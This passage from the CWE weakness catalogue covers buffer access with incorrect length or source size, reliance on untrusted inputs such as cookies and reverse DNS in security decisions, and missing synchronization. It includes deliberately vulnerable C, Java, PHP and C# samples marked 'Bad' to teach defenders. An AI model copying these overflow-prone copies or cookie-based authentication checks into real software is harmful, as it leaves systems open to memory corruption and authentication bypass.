Run or compile the product using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

*Effectiveness = Defense in Depth*

*This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Operation**

*Strategy = Environment Hardening*

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

*Effectiveness = Defense in Depth*

*This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the product's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.*

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the product or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Phase: Architecture and Design****Phase: Operation**

*Strategy = Sandbox or Jail*

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

*Effectiveness = Limited*

*The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.*

**Demonstrative Examples****Example 1:**

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

*Example Language: C*

*(Bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

**Example 2:**

In the following example, it is possible to request that `memcpy` move a much larger segment of memory than assumed:

*Example Language: C*

*(Bad)*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

}

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

**Example 3:**

In the following example, the source character string is copied to the dest character string using the method strncpy.

*Example Language: C**(Bad)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

*Example Language: C**(Good)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

**Example 4:**

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

*Example Language: C**(Bad)*

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
    // save to log file
    success = saveToLogFile(buf);
    return success;
}
```

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger than the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to

ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.

Example Language: C

(Good)

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

## Observed Examples








Reference	Description
<b>CVE-2011-1959</b>	Chain: large length value causes buffer over-read (CWE-126) <a href="https://www.cve.org/CVERecord?id=CVE-2011-1959">https://www.cve.org/CVERecord?id=CVE-2011-1959</a>
<b>CVE-2011-1848</b>	Use of packet length field to make a calculation, then copy into a fixed-size buffer <a href="https://www.cve.org/CVERecord?id=CVE-2011-1848">https://www.cve.org/CVERecord?id=CVE-2011-1848</a>
<b>CVE-2011-0105</b>	Chain: retrieval of length value from an uninitialized memory location <a href="https://www.cve.org/CVERecord?id=CVE-2011-0105">https://www.cve.org/CVERecord?id=CVE-2011-0105</a>
<b>CVE-2011-0606</b>	Crafted length value in document reader leads to buffer overflow <a href="https://www.cve.org/CVERecord?id=CVE-2011-0606">https://www.cve.org/CVERecord?id=CVE-2011-0606</a>
<b>CVE-2011-0651</b>	SSL server overflow when the sum of multiple length fields exceeds a given value <a href="https://www.cve.org/CVERecord?id=CVE-2011-0651">https://www.cve.org/CVERecord?id=CVE-2011-0651</a>
<b>CVE-2010-4156</b>	Language interpreter API function doesn't validate length argument, leading to information exposure <a href="https://www.cve.org/CVERecord?id=CVE-2010-4156">https://www.cve.org/CVERecord?id=CVE-2010-4156</a>

## Affected Resources

- Memory

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)		734 2137
MemberOf		802	2010 Top 25 - Risky Resource Management		800 2148
MemberOf		867	2011 Top 25 - Weaknesses On the Cusp		900 2166
MemberOf		874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)		868 2169
MemberOf		884	CWE Cross-section		884 2327
MemberOf		1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)		1154 2250

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
100	Overflow Buffers
256	SOAP Array Overflow

## References

- [REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.
- [REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < [http://blogs.msdn.com/michael\\_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx](http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx) >.
- [REF-59]Arjan van de Ven. "Limiting buffer overflows with ExecShield". < <http://www.redhat.com/magazine/009jul05/features/execshield/> >.
- [REF-60]"PaX". < <http://en.wikipedia.org/wiki/PaX> >.
- [REF-741]Jason Lam. "Top 25 Series - Rank 12 - Buffer Access with Incorrect Length Value". 2010 March 1. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-12-buffer-access-with-incorrect-length-value/> >.
- [REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < <http://www.zork.org/safestr/> >.
- [REF-56]Microsoft. "Using the Strsafe.h Functions". < <http://msdn.microsoft.com/en-us/library/ms647466.aspx> >.
- [REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx> >.
- [REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.
- [REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/> >.

## CWE-806: Buffer Access Using Size of Source Buffer

**Weakness ID** : 806

**Structure** : Simple

**Abstraction** : Variant

### Description

The product uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer.


### Extended Description

When the size of the destination is smaller than the size of the source, a buffer overflow could occur.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		805	Buffer Access with Incorrect Length Value	1585

### Weakness Ordinalities

**Resultant** :

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Sometimes)

**Language :** C++ (Prevalence = Sometimes)

### Common Consequences

Scope	Impact	Likelihood
Availability	Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU)	
	<i>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i>	
Integrity Confidentiality Availability	Read Memory Modify Memory Execute Unauthorized Code or Commands	
	<i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.</i>	
Access Control	Bypass Protection Mechanism	
	<i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Examples include the Safe C String Library (SafeStr) by Viega, and the Strsafe.h library from Microsoft. This is not a complete solution, since many buffer overflows are not related to strings.

#### Phase: Build and Compilation

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include StackGuard, ProPolice and the Microsoft Visual Studio / GS flag. This is not necessarily a complete solution, since these canary-based mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

#### Phase: Implementation

Programmers should adhere to the following rules when allocating and managing their applications memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if calling this function in a loop and make sure there is no danger of writing past the allocated space. Truncate all input strings to a reasonable length before passing them to the copy and concatenation functions

#### Phase: Operation

*Strategy = Environment Hardening*

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].



*Effectiveness = Defense in Depth*

*This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

#### Phase: Operation

*Strategy = Environment Hardening*

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

*Effectiveness = Defense in Depth*

*This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.*

#### Phase: Build and Compilation

#### Phase: Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

### Demonstrative Examples

#### Example 1:

In the following example, the source character string is copied to the dest character string using the method `strncpy`.

*Example Language: C*

*(Bad)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to `strncpy` the source character string is used within the `sizeof` call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the `sizeof` call to ensure that the correct number of characters are copied, as shown below.

*Example Language: C*

*(Good)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

#### Example 2:

In this example, the method `outputFilenameToLog` outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

Example Language: C

(Bad)

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
    // save to log file
    success = saveToLogFile(buf);
    return success;
}
```

However, in this case the string copy method, `strncpy`, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, `buf`. This can lead to a buffer overflow if the number of characters contained in character string pointed to by `filename` is larger than the number of characters allowed for the local character string. The string copy method should use the `buf` character string within a `sizeof` call to ensure that only characters up to the size of the `buf` array are copied to avoid a buffer overflow, as shown below.

Example Language: C

(Good)

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

### Affected Resources

- Memory

### References

[REF-56]Microsoft. "Using the Strsafe.h Functions". < <http://msdn.microsoft.com/en-us/library/ms647466.aspx> >.

[REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < <http://www.zork.org/safestr/> >.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < [http://blogs.msdn.com/michael\\_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx](http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx) >.

[REF-59]Arjan van de Ven. "Limiting buffer overflows with ExecShield". < <http://www.redhat.com/magazine/009jul05/features/execshield/> >.

[REF-60]"PaX". < <http://en.wikipedia.org/wiki/PaX> >.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx> >.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/> >.

## CWE-807: Reliance on Untrusted Inputs in a Security Decision

**Weakness ID** : 807

**Structure** : Simple

**Abstraction** : Base

## Description

The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.

## Extended Description

Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software.

Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ParentOf	E	302	Authentication Bypass by Assumed-Immutable Data	697
ParentOf	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	817
ParentOf	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1539

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	2220

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Bypass Protection Mechanism	
Access Control	Gain Privileges or Assume Identity	
Availability	Varies by Context	
Other	<i>Attackers can bypass the security decision to access whatever is being protected. The consequences will depend on the associated functionality, but they can range from granting additional privileges to untrusted users to bypassing important security checks. Ultimately, this weakness may lead to exposure or modification of sensitive data, system crash, or execution of arbitrary code.</i>	

## Detection Methods

**Manual Static Analysis**

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

*Effectiveness = High*

*The effectiveness and speed of manual analysis will be reduced if there is not a centralized security mechanism, and the security logic is widely distributed throughout the software.*

**Automated Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = SOAR Partial*

**Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

**Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

**Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = SOAR Partial*

**Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections)

*Effectiveness = High*

**Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

**Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

**Potential Mitigations****Phase: Architecture and Design**

*Strategy = Attack Surface Reduction*

Store state information and sensitive data on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions. If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that you have to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. With a stateless protocol such as HTTP, use a framework that maintains the state for you. Examples include ASP.NET View State [REF-756] and the OWASP ESAPI Session Management feature [REF-45]. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

### Phase: Operation

### Phase: Implementation

*Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

### Phase: Architecture and Design

### Phase: Implementation

*Strategy = Attack Surface Reduction*

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.

## Demonstrative Examples

### Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

*Example Language: Java*

*(Bad)*

```
Cookie[] cookies = request.getCookies();
```

```

for (int i=0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}

```

**Example 2:**

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

*Example Language: PHP*

*(Bad)*

```

$auth = $_COOKIES['authenticated'];
if (! $auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("\n");
    }
}
DisplayMedicalHistory($_POST['patient_ID']);

```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the \$auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

**Example 3:**

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

*Example Language: Java*

*(Bad)*

```

Cookie[] cookies = request.getCookies();
for (int i=0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}

```

**Example 4:**

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

*Example Language: C*

*(Bad)*

```

struct hostent *hp; struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}

```

}

Example Language: Java

(Bad)

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

Example Language: C#

(Bad)

```
IPAddress hostIPAddress = IPAddress.Parse(RemotelpAddress);
IPEndPoint hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

### Observed Examples

Reference	Description
<b>CVE-2009-1549</b>	Attacker can bypass authentication by setting a cookie to a specific value. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1549">https://www.cve.org/CVERecord?id=CVE-2009-1549</a>
<b>CVE-2009-1619</b>	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1. <a href="https://www.cve.org/CVERecord?id=CVE-2009-1619">https://www.cve.org/CVERecord?id=CVE-2009-1619</a>
<b>CVE-2009-0864</b>	Content management system allows admin privileges by setting a "login" cookie to "OK." <a href="https://www.cve.org/CVERecord?id=CVE-2009-0864">https://www.cve.org/CVERecord?id=CVE-2009-0864</a>
<b>CVE-2008-5784</b>	e-dating application allows admin privileges by setting the admin cookie to 1. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5784">https://www.cve.org/CVERecord?id=CVE-2008-5784</a>
<b>CVE-2008-6291</b>	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin." <a href="https://www.cve.org/CVERecord?id=CVE-2008-6291">https://www.cve.org/CVERecord?id=CVE-2008-6291</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf	<input checked="" type="checkbox"/>	803	2010 Top 25 - Porous Defenses	<input checked="" type="checkbox"/>	2148
MemberOf	<input checked="" type="checkbox"/>	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	<input checked="" type="checkbox"/>	2162
MemberOf	<input checked="" type="checkbox"/>	866	2011 Top 25 - Porous Defenses	<input checked="" type="checkbox"/>	2165
MemberOf	<input checked="" type="checkbox"/>	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	<input checked="" type="checkbox"/>	2172
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	<input checked="" type="checkbox"/>	2327



Nature	Type	ID	Name	V	Page
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284
MemberOf		1373	ICS Engineering (Construction/Deployment): Trust Model Problems	1358	2301

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	SEC09-J		Do not base security checks on untrusted sources

### References

- [REF-754]Frank Kim. "Top 25 Series - Rank 6 - Reliance on Untrusted Inputs in a Security Decision". 2010 March 5. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/05/top-25-series-rank-6-reliance-on-untrusted-inputs-in-a-security-decision/> >.
- [REF-529]"HMAC". 2011 August 8. Wikipedia. < <http://en.wikipedia.org/wiki/Hmac> >.
- [REF-756]Scott Mitchell. "Understanding ASP.NET View State". 2004 May 5. Microsoft. < <http://msdn.microsoft.com/en-us/library/ms972976.aspx> >.
- [REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

## CWE-820: Missing Synchronization

**Weakness ID** : 820  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.

### Extended Description

If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the product. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363
ParentOf		543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	1183
ParentOf		567	Unsynchronized Access to Shared Data in a Multithreaded Context	1213
ParentOf		1096	Singleton Class Instance Creation without Proper Locking or Synchronization	1796

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		557	Concurrency Issues	2122

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	
Other	Alter Execution Logic	

## Demonstrative Examples

### Example 1:

The following code intends to fork a process, then have both the parent and child processes print a single line.

*Example Language: C*

*(Bad)*

```
static void print (char * string) {
    char * word;
    int counter;
    for (word = string; counter = *word++; ) {
        putchar(counter, stdout);
        fflush(stdout);
        /* Make timing window a little larger... */
        sleep(1);
    }
}

int main(void) {
    pid_t pid;
    pid = fork();
    if (pid == -1) {
        exit(-2);
    }
    else if (pid == 0) {
        print("child\n");
    }
    else {
        print("PARENT\n");
    }
    exit(0);
}
```

One might expect the code to print out something like:

```
PARENT
child
```

However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

```
PcAhRiEINdT
[blank line]
[blank line]
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	2159
MemberOf		1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	1133	2242

## Notes

### Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK05-J		Synchronize access to static fields that can be modified by untrusted code

## CWE-821: Incorrect Synchronization

**Weakness ID :** 821  
**Structure :** Simple  
**Abstraction :** Base

### Description

The product utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.

### Extended Description

If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the product. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		662	Improper Synchronization	1363
ParentOf		572	Call to Thread run() instead of start()	1221
